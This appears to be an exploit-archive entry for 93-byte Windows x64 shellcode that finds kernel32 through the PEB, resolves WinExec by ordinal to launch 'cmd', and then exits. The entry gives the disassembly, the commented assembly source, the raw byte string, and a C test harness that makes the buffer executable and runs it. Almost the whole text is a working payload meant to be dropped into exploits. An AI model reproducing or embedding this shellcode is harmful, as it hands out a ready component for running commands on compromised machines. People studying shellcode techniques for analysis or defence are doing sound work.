Windows/x64 - WinExec() Shellcode (93 bytes)

/*
    # Title : Windows x64 WinExec() shellcode
    # Date : 15-10-2016
    # Author : Roziul Hasan Khan Shifat
    # size : 93 bytes
    # Tested on : Windows 7 Ultimate x64
*/
 
 
/*
Disassembly of section .text:
 
0000000000000000 <_start>:
   0:   99                      cltd   
   1:   65 48 8b 42 60          mov    %gs:0x60(%rdx),%rax
   6:   48 8b 40 18             mov    0x18(%rax),%rax
   a:   48 8b 70 10             mov    0x10(%rax),%rsi
   e:   48 ad                   lods   %ds:(%rsi),%rax
  10:   48 8b 30                mov    (%rax),%rsi
  13:   48 8b 7e 30             mov    0x30(%rsi),%rdi
  17:   48 31 db                xor    %rbx,%rbx
  1a:   48 31 f6                xor    %rsi,%rsi
  1d:   8b 5f 3c                mov    0x3c(%rdi),%ebx
  20:   48 01 fb                add    %rdi,%rbx
  23:   b2 88                   mov    $0x88,%dl
  25:   8b 1c 13                mov    (%rbx,%rdx,1),%ebx
  28:   48 01 fb                add    %rdi,%rbx
  2b:   8b 73 1c                mov    0x1c(%rbx),%esi
  2e:   48 01 fe                add    %rdi,%rsi
  31:   99                      cltd   
  32:   66 ba 27 05             mov    $0x527,%dx
  36:   8b 04 96                mov    (%rsi,%rdx,4),%eax
  39:   48 01 f8                add    %rdi,%rax
  3c:   eb 17                   jmp    55 <c>
 
000000000000003e <exec>:
  3e:   59                      pop    %rcx
  3f:   99                      cltd   
  40:   48 ff c2                inc    %rdx
  43:   ff d0                   callq  *%rax
  45:   99                      cltd   
  46:   66 ba 29 01             mov    $0x129,%dx
  4a:   8b 04 96                mov    (%rsi,%rdx,4),%eax
  4d:   48 01 f8                add    %rdi,%rax
  50:   48 31 c9                xor    %rcx,%rcx
  53:   ff d0                   callq  *%rax
 
0000000000000055 <c>:
  55:   e8 e4 ff ff ff          callq  3e <exec>
  5a:   63 6d 64                movslq 0x64(%rbp),%ebp
    ...
*/
 
 
/*
bits 64
section .text
    global  _start
_start:
 
 
cdq
mov rax,[gs:rdx+0x60] ;PEB
mov rax,[rax+0x18] ;PEB.Ldr
mov rsi,[rax+0x10] ;PEB.Ldr->InMemOrderModuleList
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30] ;kernel32.dll base address
 
 
xor rbx,rbx
xor rsi,rsi
 
 
mov ebx,[rdi+0x3c] ;elf_anew
add rbx,rdi ;PE HEADER
mov dl,0x88
mov ebx,[rbx+rdx] ;DataDirectory->VirtualAddress
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY
 
mov esi,[rbx+0x1c] ;AddressOfFunctions
add rsi,rdi
 
 
cdq
 
mov dx,1319 ;Ordinal of WinExec()
 
 
 
 
 
mov eax,[rsi+rdx*4]
add rax,rdi ;rax=WinExec()
 
 
;WinExec("cmd",1)
 
 
jmp c
 
exec:
pop rcx
cdq
inc rdx
call rax
 
 
cdq
mov dx,297
 
mov eax,[rsi+rdx*4]
add rax,rdi ;rax=FatalExit()
 
;FatalExit(0)
 
xor rcx,rcx
call rax
 
 
 
c:
 
call exec
db 'cmd',0,0
*/
 
 
#include<stdio.h>
#include<string.h>
#include<windows.h>
 
 
char shellcode[]="\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x66\xba\x27\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";
 
 
main()
{
    int len=strlen(shellcode);
    DWORD l=0;
    printf("shellcode length %d bytes\n",len );
    VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l);
    (*  (int(*)()) shellcode    ) ();
}